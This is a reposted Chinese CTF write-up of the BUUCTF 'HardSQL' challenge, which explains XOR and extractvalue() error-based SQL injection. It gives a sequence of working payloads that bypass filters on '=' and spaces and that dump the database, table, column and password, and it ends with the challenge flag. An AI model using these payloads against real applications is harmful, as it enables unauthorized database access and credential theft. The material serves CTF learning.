ICode9

精准搜索请尝试: 精确搜索
首页 > 数据库> 文章详细

Buuctf-web-[极客大挑战 2019]HardSQL

2021-01-21 11:02:36  阅读:236  来源: 互联网

标签:0x5c web Buuctf extractvalue 23 HardSQL select password concat


 

 被堵

 

 

异或运算符为^ 或者 xor
两个同为真的条件做异或,结果为假,两个同为假的条件做异或,结果为假,一个条件为真,一个条件为假,结果为真,null与任何条件(真、假、null)做异或,结果都为null

我们还需要用到一个函数:extractvalue()

对XML文档进行查询的函数

还有要注意的地方是,它能够查询的字符串长度最大是32个字符,如果超过32位,我们就需要用函数来查询,比如right(),left(),substr()来截取字符串

 

然后,我们开始注入

第一个payload:

?username=admin&password=1'^extractvalue(1,concat(0x5c,(select(database()))))%23

 

 库名出来了,接着爆表

发现等于号被过滤,可以用like代替

?username=admin&password=1'^extractvalue(1,concat(0x5c,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))))%23

 

 接着爆字段

?username=admin&password=1'^extractvalue(1,concat(0x5c,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))))%23

 

因为用extractvalue()函数,一次只能显示32个字符,我们需要用 left right函数

?username=admin&password=1'^extractvalue(1,concat(0x5c,(select(left(password,30))from(geek.H4rDsq1))))%23

 

 

 

?username=admin&password=1'^extractvalue(1,concat(0x5c,(select(right(password,30))from(geek.H4rDsq1))))%23

 

flag{68e2d23a-f3b9-46b5-8298-d0470eca0517}

标签:0x5c,web,Buuctf,extractvalue,23,HardSQL,select,password,concat
来源: https://www.cnblogs.com/tac2664/p/14306842.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有